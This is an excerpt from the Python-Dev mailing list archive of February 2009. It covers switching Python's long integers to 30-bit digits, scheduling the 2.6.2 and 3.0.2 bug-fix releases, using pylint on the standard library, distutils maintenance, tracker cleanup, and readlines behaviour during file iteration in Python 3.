<499AEC1A.2080102@holdenweb.com> Message-ID: <499B0324.3090409@ochtman.nl> On 17/02/2009 17:55, Steve Holden wrote: > is "for work on developing Python". Hence your posting (and your > protestations of innocence) is unsolicited commercial email, AKA spam. > Python users who are looking for jobs know about the jobs board, where > you have already submitted vacancy notices (now jeopardized by this > anti-social act). Please stop now - if you must reply, feel free to do > so by private email. I'd like to mention that python-nl got this, too, so he probably spammed a bunch of lists. Cheers, Dirkjan From dickinsm at gmail.com Tue Feb 17 19:38:04 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Tue, 17 Feb 2009 18:38:04 +0000 Subject: [Python-Dev] 30-bit PyLong digits in 3.1? Message-ID: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com> A few months ago there was a discussion [1] about changing Python's long integer type to use base 2**30 instead of base 2**15. http://bugs.python.org/issue4258 was opened for this. With much help from many people (but especially Antoine and Victor), I've finally managed to put together an essentially finished patch for this (see 30bit_longdigit14.patch in the tracker). I'd like to get this in for 3.1. Any objections or comments? Is this PEP territory? Summary of the patch: * Apart from improved performance, the effects should be almost entirely invisible to users. * By default, 30-bit digits are used only when both 32-bit and 64-bit integer types are available; otherwise the code falls back to the usual 15-bit digits. For Unix, there's a configure option --enable-big-digits that overrides this default. In particular, you can use --disable-big-digits to force 15-bit digit longs. * There's a new structseq sys.int_info that looks like this: >>> sys.int_info sys.int_info(bits_per_digit=30, sizeof_digit=4) the sizeof_digit is mostly there to help out the sys.getsizeof tests in test_sys. * Benchmarks show significant speedups (20% and more) for integer arithmetic on 64-bit systems, and lesser speedups on 32-bit systems. Operations with single-digit integers aren't affected much either way; most of the benefit seems to be for operations with small multi-digit integers. * There are more performance improvements planned (see the issue discussion for details); I left them out of the current patch for simplicity, and because they still need proper testing and benchmarking. Mark [1] http://mail.python.org/pipermail/python-dev/2008-November/083315.html From martin at v.loewis.de Tue Feb 17 20:49:36 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 17 Feb 2009 20:49:36 +0100 Subject: [Python-Dev] 30-bit PyLong digits in 3.1? In-Reply-To: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com> References: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com> Message-ID: <499B14D0.9010806@v.loewis.de> > I'd like to get this in for 3.1. Any objections or comments? Can you please upload it to Rietveld also? > Is this PEP territory? I don't think so. Martin From barry at python.org Tue Feb 17 21:18:44 2009 From: barry at python.org (Barry Warsaw) Date: Tue, 17 Feb 2009 15:18:44 -0500 Subject: [Python-Dev] Python 2.6.2 and 3.0.2 Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thinking again about 3.0.2. If we'd like to do bug fix releases before Pycon, I suggest Monday March 9th for code freeze and tagging. That would mean a Tuesday March 10th release. What do you think? Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZsbpHEjvBPtnXfVAQK5xgP/XIKmhKSbQLQ4rZvknkhDTel6R8w14/7Z lThGtuFJd3eKE4EOO3CP/zT8LT0rHTRkF1wGUZjyNoLW6bIQkGiTQYWxOsTV+Z7z Ak49VzUpf0KySd4Nwtzn/KxQ+z/i3ts3z5YRD9eWBs0ZtTAiOelZrTxievcWZt+6 0PpsQWGb+14= =caaa -----END PGP SIGNATURE----- From dickinsm at gmail.com Tue Feb 17 21:36:38 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Tue, 17 Feb 2009 20:36:38 +0000 Subject: [Python-Dev] 30-bit PyLong digits in 3.1? In-Reply-To: <499B14D0.9010806@v.loewis.de> References: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com> <499B14D0.9010806@v.loewis.de> Message-ID: <5c6f2a5d0902171236w621027b5q203c240340ecbf17@mail.gmail.com> On Tue, Feb 17, 2009 at 7:49 PM, "Martin v. L?wis" wrote: > Can you please upload it to Rietveld also? Will do. I'm getting a "500 Server Error" at the moment, but I'll keep trying. Mark From guido at python.org Tue Feb 17 21:42:04 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 17 Feb 2009 12:42:04 -0800 Subject: [Python-Dev] 30-bit PyLong digits in 3.1? In-Reply-To: <5c6f2a5d0902171236w621027b5q203c240340ecbf17@mail.gmail.com> References: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com> <499B14D0.9010806@v.loewis.de> <5c6f2a5d0902171236w621027b5q203c240340ecbf17@mail.gmail.com> Message-ID: Use the upload.py script (/static/upload.py) rather than the Create Issue page. On Tue, Feb 17, 2009 at 12:36 PM, Mark Dickinson wrote: > On Tue, Feb 17, 2009 at 7:49 PM, "Martin v. L?wis" wrote: >> Can you please upload it to Rietveld also? > > Will do. I'm getting a "500 Server Error" at the moment, but I'll keep trying. > > Mark > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From dickinsm at gmail.com Tue Feb 17 21:53:37 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Tue, 17 Feb 2009 20:53:37 +0000 Subject: [Python-Dev] 30-bit PyLong digits in 3.1? In-Reply-To: References: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com> <499B14D0.9010806@v.loewis.de> <5c6f2a5d0902171236w621027b5q203c240340ecbf17@mail.gmail.com> Message-ID: <5c6f2a5d0902171253g65f35142y1613b65ec92b2ef9@mail.gmail.com> On Tue, Feb 17, 2009 at 8:42 PM, Guido van Rossum wrote: > Use the upload.py script (/static/upload.py) rather than the Create Issue page. Thanks. That worked. http://codereview.appspot.com/14105 From g.brandl at gmx.net Tue Feb 17 22:02:33 2009 From: g.brandl at gmx.net (Georg Brandl) Date: Tue, 17 Feb 2009 22:02:33 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> Message-ID: Benjamin Peterson schrieb: > On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni wrote: >> Didn't a test fail because of this? seems the underlying issue is that this >> part of the stdlib didn't have enough test coverage. It seems that having >> very good/improving test coverage like is recommended for 3rd-party project >> wanting to switch would be a good goal for 3.0 evolution too. We know from >> PyPy experience that while always improving the test suite coverage is quite >> spotty at times. > > No, a test didn't fail. Our new distutils maintainer, Tarek Ziade, > though, has been increasing the distutils test coverage greatly. In addition to testing, this specific issue could have been found easily by running something like pylint over the stdlib, because undefined globals are one of the things they can detect with 100% accuracy... The hard thing about pylint of course is to get the signal/noise ratio right :) Georg -- Thus spake the Lord: Thou shalt indent with four spaces. No more, no less. Four shall be the number of spaces thou shalt indent, and the number of thy indenting shall be four. Eight shalt thou not indent, nor either indent thou two, excepting that thou then proceed to four. Tabs are right out. From jjl at pobox.com Tue Feb 17 23:39:14 2009 From: jjl at pobox.com (John J Lee) Date: Tue, 17 Feb 2009 22:39:14 +0000 (GMT) Subject: [Python-Dev] Issues to be closed: objections? In-Reply-To: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> Message-ID: On Mon, 16 Feb 2009, Daniel (ajax) Diniz wrote: > http://bugs.python.org/issue809887 Improve pdb breakpoint feedback Why this one? John From benjamin at python.org Wed Feb 18 01:00:54 2009 From: benjamin at python.org (Benjamin Peterson) Date: Tue, 17 Feb 2009 18:00:54 -0600 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> Message-ID: <1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com> On Tue, Feb 17, 2009 at 3:02 PM, Georg Brandl wrote: > Benjamin Peterson schrieb: >> On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni wrote: >>> Didn't a test fail because of this? seems the underlying issue is that this >>> part of the stdlib didn't have enough test coverage. It seems that having >>> very good/improving test coverage like is recommended for 3rd-party project >>> wanting to switch would be a good goal for 3.0 evolution too. We know from >>> PyPy experience that while always improving the test suite coverage is quite >>> spotty at times. >> >> No, a test didn't fail. Our new distutils maintainer, Tarek Ziade, >> though, has been increasing the distutils test coverage greatly. > > In addition to testing, this specific issue could have been found easily by > running something like pylint over the stdlib, because undefined globals > are one of the things they can detect with 100% accuracy... Oh, does pylint support py3k now? > > The hard thing about pylint of course is to get the signal/noise ratio right :) -- Regards, Benjamin From python at rcn.com Wed Feb 18 01:50:27 2009 From: python at rcn.com (Raymond Hettinger) Date: Tue, 17 Feb 2009 16:50:27 -0800 Subject: [Python-Dev] -Qwarn and -3 Message-ID: <0607C3694B10464CA99ACE28D8BC758C@RaymondLaptop1> If someone sets the -3 option to get py3k warnings, should the classic division warning get turned-on automatically? Right now, I get no warnings for: python -3 -c "9 / 5" Raymond From guido at python.org Wed Feb 18 02:14:05 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 17 Feb 2009 17:14:05 -0800 Subject: [Python-Dev] -Qwarn and -3 In-Reply-To: <0607C3694B10464CA99ACE28D8BC758C@RaymondLaptop1> References: <0607C3694B10464CA99ACE28D8BC758C@RaymondLaptop1> Message-ID: On Tue, Feb 17, 2009 at 4:50 PM, Raymond Hettinger wrote: > If someone sets the -3 option to get py3k warnings, should the classic > division warning get turned-on automatically? > > Right now, I get no warnings for: > > python -3 -c "9 / 5" I think you have a point. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From ajaksu at gmail.com Wed Feb 18 02:41:43 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 17 Feb 2009 22:41:43 -0300 Subject: [Python-Dev] Issues to be closed: objections? In-Reply-To: References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> Message-ID: <2d75d7660902171741s3aa02f42o574e68a7b9adb786@mail.gmail.com> John J Lee wrote: > On Mon, 16 Feb 2009, Daniel (ajax) Diniz wrote: >> >> http://bugs.python.org/issue809887 Improve pdb breakpoint feedback > > Why this one? Nice catch, this makes no sense. The patch even applies almost cleanly. I'll update it and set the others to pending, so further objections can be voiced. Thank for reviewing, John! Daniel From brett at python.org Wed Feb 18 07:47:57 2009 From: brett at python.org (Brett Cannon) Date: Tue, 17 Feb 2009 22:47:57 -0800 Subject: [Python-Dev] Tracker cleanup roadmap In-Reply-To: <499A721E.4060007@v.loewis.de> References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com> <499A721E.4060007@v.loewis.de> Message-ID: On Tue, Feb 17, 2009 at 00:15, "Martin v. L?wis" wrote: > > Let's improve the tracker UI to better fit our needs. Then, classify > > them bugs and separate garbage from real development. Lastly, bug > > reporters should get a better UI. That's it, any help is welcome. > > The plan sounds great. Yeah, the workflow needs work. I was hoping to try to clean it up once I got the current workflow documented but you beat me to it (which is a good thing). > I can help with the deployment aspects (reviewing > tracker patches, and deploying them on the tracker site), but not much > beyond that (except for discussions, of course). Don't expect too much > help from other people - I have been waiting for volunteers to show up > helping with the tracker for more than a year now. > We can try another volunteer call at PyCon if we want. I can plug it heavily during my talk. > > I suggest you prioritize things by "bang for the buck" (is that the > right saying?) It's actually "most bang for your buck", but close enough. > , starting with changes that take least effort > to implement. Discussions should be carried out on the tracker-discuss > list, and, of course, in the meta-tracker. > What Martin said. =) -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From brett at python.org Wed Feb 18 07:49:42 2009 From: brett at python.org (Brett Cannon) Date: Tue, 17 Feb 2009 22:49:42 -0800 Subject: [Python-Dev] Python 2.6.2 and 3.0.2 In-Reply-To: References: Message-ID: On Tue, Feb 17, 2009 at 12:18, Barry Warsaw wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Thinking again about 3.0.2. > > If we'd like to do bug fix releases before Pycon, I suggest Monday March > 9th for code freeze and tagging. That would mean a Tuesday March 10th > release. > > What do you think? If there are really enough fixes to warrant it, sure. Otherwise would it be worth more to just wait until after PyCon where there is a bigger chance of fixed issues? -Brett > > Barry > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (Darwin) > > iQCVAwUBSZsbpHEjvBPtnXfVAQK5xgP/XIKmhKSbQLQ4rZvknkhDTel6R8w14/7Z > lThGtuFJd3eKE4EOO3CP/zT8LT0rHTRkF1wGUZjyNoLW6bIQkGiTQYWxOsTV+Z7z > Ak49VzUpf0KySd4Nwtzn/KxQ+z/i3ts3z5YRD9eWBs0ZtTAiOelZrTxievcWZt+6 > 0PpsQWGb+14= > =caaa > -----END PGP SIGNATURE----- > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/brett%40python.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From venkat83 at gmail.com Wed Feb 18 09:40:38 2009 From: venkat83 at gmail.com (Venkatraman S) Date: Wed, 18 Feb 2009 14:10:38 +0530 Subject: [Python-Dev] Tracker cleanup roadmap In-Reply-To: <499A721E.4060007@v.loewis.de> References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com> <499A721E.4060007@v.loewis.de> Message-ID: On Tue, Feb 17, 2009 at 1:45 PM, "Martin v. L?wis" wrote: > Don't expect too much > help from other people - I have been waiting for volunteers to show up > helping with the tracker for more than a year now. > I have been mostly a silent spectator around and would like to chip in. Need some initial throttle(help) for the full-fledged attack :) -V- -------------- next part -------------- An HTML attachment was scrubbed... URL: From g.brandl at gmx.net Wed Feb 18 10:15:15 2009 From: g.brandl at gmx.net (Georg Brandl) Date: Wed, 18 Feb 2009 10:15:15 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> <1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com> Message-ID: Benjamin Peterson schrieb: > On Tue, Feb 17, 2009 at 3:02 PM, Georg Brandl wrote: >> Benjamin Peterson schrieb: >>> On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni wrote: >>>> Didn't a test fail because of this? seems the underlying issue is that this >>>> part of the stdlib didn't have enough test coverage. It seems that having >>>> very good/improving test coverage like is recommended for 3rd-party project >>>> wanting to switch would be a good goal for 3.0 evolution too. We know from >>>> PyPy experience that while always improving the test suite coverage is quite >>>> spotty at times. >>> >>> No, a test didn't fail. Our new distutils maintainer, Tarek Ziade, >>> though, has been increasing the distutils test coverage greatly. >> >> In addition to testing, this specific issue could have been found easily by >> running something like pylint over the stdlib, because undefined globals >> are one of the things they can detect with 100% accuracy... > > Oh, does pylint support py3k now? I think you may have a point there, though I honestly don't know. Georg -- Thus spake the Lord: Thou shalt indent with four spaces. No more, no less. Four shall be the number of spaces thou shalt indent, and the number of thy indenting shall be four. Eight shalt thou not indent, nor either indent thou two, excepting that thou then proceed to four. Tabs are right out. From ncoghlan at gmail.com Wed Feb 18 12:06:21 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Wed, 18 Feb 2009 21:06:21 +1000 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> <1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com> Message-ID: <499BEBAD.7090101@gmail.com> Georg Brandl wrote: > Benjamin Peterson schrieb: >> Oh, does pylint support py3k now? > > I think you may have a point there, though I honestly don't know. I think it's a useful point in general - keeping something like pylint or pychecker running correctly against the CPython trunk could be a frustrating exercise on those occasions when we do change something that the static checker then chokes on (mainly thinking syntax changes here - they're obviously by far the minority of changes, but they do happen). Perhaps I'm being overly pessimistic, but my suspicion is that it would end up being tantamount to bringing whichever tool we decided to use into the standard library just to keep our own source tree passing cleanly. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From barry at python.org Wed Feb 18 12:28:42 2009 From: barry at python.org (Barry Warsaw) Date: Wed, 18 Feb 2009 06:28:42 -0500 Subject: [Python-Dev] Python 2.6.2 and 3.0.2 In-Reply-To: References: Message-ID: <1C1FBEAE-AEF2-4A6E-8AB6-836E686EC637@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 18, 2009, at 1:49 AM, Brett Cannon wrote: > If there are really enough fixes to warrant it, sure. Otherwise > would it be > worth more to just wait until after PyCon where there is a bigger > chance of > fixed issues? Good point. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZvw6nEjvBPtnXfVAQLIegP/evDYDpH981WjgjPJJbY6Up2NRHAAScM6 V8l1CZbQxjqjokz3xRi8X65nn7Qx8acWN51wn5tG3u9YmCDci4u3Geu0NtV5uEOK 7aZ4WxkGGXUTPaeVS1NCPo37UPN/px24TpYLvIy0v6ngv7EzL5lIsBLS7V8lsh4v qzi3LuhbV0o= =CaLE -----END PGP SIGNATURE----- From guido at python.org Wed Feb 18 16:30:05 2009 From: guido at python.org (Guido van Rossum) Date: Wed, 18 Feb 2009 07:30:05 -0800 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <499BEBAD.7090101@gmail.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> <1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com> <499BEBAD.7090101@gmail.com> Message-ID: On Wed, Feb 18, 2009 at 3:06 AM, Nick Coghlan wrote: > Georg Brandl wrote: >> Benjamin Peterson schrieb: >>> Oh, does pylint support py3k now? >> >> I think you may have a point there, though I honestly don't know. > > I think it's a useful point in general - keeping something like pylint > or pychecker running correctly against the CPython trunk could be a > frustrating exercise on those occasions when we do change something that > the static checker then chokes on (mainly thinking syntax changes here - > they're obviously by far the minority of changes, but they do happen). > > Perhaps I'm being overly pessimistic, but my suspicion is that it would > end up being tantamount to bringing whichever tool we decided to use > into the standard library just to keep our own source tree passing cleanly. This prompts a wild idea -- perhaps the framework of 2to3 could be reused to create a new linter? -- --Guido van Rossum (home page: http://www.python.org/~guido/) From ziade.tarek at gmail.com Wed Feb 18 16:56:52 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Wed, 18 Feb 2009 16:56:52 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> Message-ID: <94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com> 2009/2/17 Georg Brandl : > Benjamin Peterson schrieb: >> On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni wrote: >>> Didn't a test fail because of this? seems the underlying issue is that this >>> part of the stdlib didn't have enough test coverage. It seems that having >>> very good/improving test coverage like is recommended for 3rd-party project >>> wanting to switch would be a good goal for 3.0 evolution too. We know from >>> PyPy experience that while always improving the test suite coverage is quite >>> spotty at times. >> >> No, a test didn't fail. Our new distutils maintainer, Tarek Ziade, >> though, has been increasing the distutils test coverage greatly. I'll add one in that area. Note that I am also planning to: - remove in the current trunk things like cmp() so the code looks similar in trunk and py3k -> so if you change something in py3k branch in distutils, if you have time please backport it to the trunk right away when appliable - release Distutils at PyPI on its own, (stable releases, and dev releases) following Marc-Andr? suggestion. this will use externals, (see http://svn.python.org/projects/distutils/trunk/) So it should be simpler to work things out between two Python releases Regards Tarek From MLMLists at Comcast.net Wed Feb 18 18:42:06 2009 From: MLMLists at Comcast.net (Mitchell L Model) Date: Wed, 18 Feb 2009 12:42:06 -0500 Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? Message-ID: In Digest Vol. 67, Issue 52 (13 Feb 2009) I pointed out that Python 2's prohibition against performing readlines on a file being iterated over appears to have been lifted in Python 3. I asked if this was intentional and whether it should be add to the "What's New" documentation. I also expressed muy surprise that "for line in fil"'s can be nested using the same fil in both Python 2 and 3. I presented an example for each point and some and further comments. I didn't get any response. Is this the wrong list for the question? Did appropriate responders assume another would respond? I want to reraise this because lifting of that prohibition is a quite significant change in the behavior from Python 2. Even if it ws a bug in Python 2, or the side effect of other changes in Python 3, it should at least be documented prominently. True, no-one's code will be affected by lifting a prohibition against something their code couldn't have done, but the new behavior offers significant flexibility in writing "for line in fil" iterations in that it allows recognizing the beginning of a sequence of lines that should be considered a unified "chunk" and allows the loop to do readlines to handle the rest of the chunk. Some of these can be handled by just nesting a second "for line in fil" inside a conditional inside the outer iteration but some are better handled by individual readlines. I'd appreciate comments -- especially a redirection to a different list, if this one isn't appropriate for my query. From leif.walsh at gmail.com Wed Feb 18 19:55:19 2009 From: leif.walsh at gmail.com (Leif Walsh) Date: Wed, 18 Feb 2009 13:55:19 -0500 Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? In-Reply-To: References: Message-ID: On Wed, Feb 18, 2009 at 12:42 PM, Mitchell L Model wrote: > I'd appreciate comments -- especially a redirection to a different list, if > this one isn't appropriate for my query. It seems as though you have the right list, but perhaps whoever knows about the change is busy, or maybe several people that don't know about the change are trying to find it. If there's something in particular that you need answered in a specific timeframe, I don't know what to tell you, but if it's like it seems, and you're just raising the issue, I think you can trust that someone will get to it eventually. -- Cheers, Leif From benjamin at python.org Wed Feb 18 20:48:17 2009 From: benjamin at python.org (Benjamin Peterson) Date: Wed, 18 Feb 2009 13:48:17 -0600 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> <1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com> <499BEBAD.7090101@gmail.com> Message-ID: <1afaf6160902181148u6b2b6bfk86711c87f05a6804@mail.gmail.com> On Wed, Feb 18, 2009 at 9:30 AM, Guido van Rossum wrote: > This prompts a wild idea -- perhaps the framework of 2to3 could be > reused to create a new linter? The 2to3 syntax tree is probably two low-level for that. It's good for simple isolated transformations like print, but not so much for the larger scale analysis that a lint tool would require. In addition, we'd have to write some sort of symtable analyzer. High level AST is much nicer to work with that. -- Regards, Benjamin From sylvain.thenault at logilab.fr Wed Feb 18 21:21:54 2009 From: sylvain.thenault at logilab.fr (Sylvain =?iso-8859-1?q?Th=E9nault?=) Date: Wed, 18 Feb 2009 21:21:54 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <1afaf6160902181148u6b2b6bfk86711c87f05a6804@mail.gmail.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <1afaf6160902181148u6b2b6bfk86711c87f05a6804@mail.gmail.com> Message-ID: <200902182121.55123.sylvain.thenault@logilab.fr> Le Wednesday 18 February 2009 20:48:17 Benjamin Peterson, vous avez ?crit?: > On Wed, Feb 18, 2009 at 9:30 AM, Guido van Rossum wrote: > > This prompts a wild idea -- perhaps the framework of 2to3 could be > > reused to create a new linter? > > The 2to3 syntax tree is probably two low-level for that. It's good for > simple isolated transformations like print, but not so much for the > larger scale analysis that a lint tool would require. In addition, > we'd have to write some sort of symtable analyzer. High level AST is > much nicer to work with that. FYI, we (logilab) are curently working on providing a compatibility layer between _ast and compiler to get pylint working on py3k, py >= 2.6 and py <= 2.5. There are some tree structure incompatibility between them which makes the thing not trivial but I hope we'll get somewhere soon. Of course any help is welcome :) -- Sylvain Th?nault LOGILAB, Paris (France) Formations Python, Zope, Plone, Debian: http://www.logilab.fr/formations D?veloppement logiciel sur mesure: http://www.logilab.fr/services Python et calcul scientifique: http://www.logilab.fr/science From ncoghlan at gmail.com Wed Feb 18 22:19:58 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Thu, 19 Feb 2009 07:19:58 +1000 Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? In-Reply-To: References: Message-ID: <499C7B7E.5080005@gmail.com> Mitchell L Model wrote: > I didn't get any response. Is this the wrong list for the question? Did > appropriate responders assume another would respond? Probably the latter (I know I left it to those that had more to do with the IO stack rewrite). This is definitely the right list for the question. > I want to reraise > this because lifting of that prohibition is a quite significant change > in the behavior from Python 2. Even if it ws a bug in Python 2, or the > side effect of other changes in Python 3, it should at least be > documented prominently. True, no-one's code will be affected by lifting > a prohibition against something their code couldn't have done, but the > new behavior offers significant flexibility in writing "for line in fil" > iterations in that it allows recognizing the beginning of a sequence of > lines that should be considered a unified "chunk" and allows the loop to > do readlines to handle the rest of the chunk. Some of these can be > handled by just nesting a second "for line in fil" inside a conditional > inside the outer iteration but some are better handled by individual > readlines. > > I'd appreciate comments -- especially a redirection to a different list, > if this one isn't appropriate for my query. I *think* the 2.x system had an internal buffer that was used by the file iterator, but not by the file methods. With the new IO stack for 3.0, there is now a common buffer shared by all the file operations (including iteration). However, given that the lifting of the restriction is currently undocumented, I wouldn't want to see a commitment to keeping it lifted until we know that it won't cause any problems for the io-in-c rewrite for 3.1 (hopefully someone with more direct involvement with that rewrite will chime in, since they'll know a lot more about it than I do). Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From solipsis at pitrou.net Wed Feb 18 22:25:59 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Wed, 18 Feb 2009 21:25:59 +0000 (UTC) Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? References: <499C7B7E.5080005@gmail.com> Message-ID: Hello, Nick Coghlan gmail.com> writes: > > I *think* the 2.x system had an internal buffer that was used by the > file iterator, but not by the file methods. With the new IO stack for > 3.0, there is now a common buffer shared by all the file operations > (including iteration). > > However, given that the lifting of the restriction is currently > undocumented, I wouldn't want to see a commitment to keeping it lifted > until we know that it won't cause any problems for the io-in-c rewrite > for 3.1 (hopefully someone with more direct involvement with that > rewrite will chime in, since they'll know a lot more about it than I do). As you said, there is no special buffering for the file iterator in 3.x, which means the restriction could be lifted (actually there is nothing relying on this restriction in the current code, except perhaps the "telling" flag in TextIOWrapper). Regards Antoine. From tjreedy at udel.edu Wed Feb 18 22:37:34 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 18 Feb 2009 16:37:34 -0500 Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? In-Reply-To: References: Message-ID: Mitchell L Model wrote: > In Digest Vol. 67, Issue 52 (13 Feb 2009) I pointed out that Python 2's > prohibition against performing readlines on a file being iterated over > appears to have been lifted in Python 3. I asked if this was intentional > and whether it should be add to the "What's New" documentation. I also > expressed muy surprise that "for line in fil"'s can be nested using the > same fil in both Python 2 and 3. I presented an example for each point > and some and further comments. If I understand, you are asking whether the new behavior is an undocumented new feature that you can use or an error that may be reverted. It is possible that it is an accident and there is no answer yet decided. I suspect your original query got lost in the shuffle. If you do not get an answer this time, file an issue on the tracker bugs.python.org but do not select whether it is a behavior or doc issue. At least, it will stay open until resolved. tjr From martin at v.loewis.de Wed Feb 18 22:38:30 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Wed, 18 Feb 2009 22:38:30 +0100 Subject: [Python-Dev] Tracker cleanup roadmap In-Reply-To: References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com> <499A721E.4060007@v.loewis.de> Message-ID: <499C7FD6.7020704@v.loewis.de> > I have been mostly a silent spectator around and would like to chip in. > Need some initial throttle(help) for the full-fledged attack :) Please take a look at the meta tracker. It has various open issues, many open for many months now. Please tackle one that can be fixed through patches to the tracker instance preferably; changes to roundup are also acceptable in principle. If some changes require some admin activity, discuss on tracker-discuss what 